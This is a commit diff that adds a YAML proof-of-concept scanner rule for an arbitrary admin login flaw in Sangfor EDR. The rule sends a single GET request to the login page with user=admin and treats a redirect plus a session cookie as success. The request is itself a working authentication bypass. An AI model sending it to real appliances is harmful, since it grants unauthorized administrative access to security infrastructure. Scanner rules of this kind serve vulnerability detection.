commit message

2026-09-26 13:11:53 +08:00 · 2020-12-29 17:17:10 +08:00
commit df45b07ce8
97 changed files with 45329 additions and 0 deletions
@@ -0,0 +1,13 @@
+name: poc-yaml-sangfor-edr-arbitrary-admin-login
+rules:
+  - method: GET
+    path: /ui/login.php?user=admin
+    follow_redirects: false
+    expression: >
+      response.status == 302 &&
+      response.body.bcontains(b"/download/edr_installer_") &&
+      response.headers["Set-Cookie"] != ""
+detail:
+  author: hilson
+  links:
+    - https://mp.weixin.qq.com/s/6aUrXcnab_EScoc0-6OKfA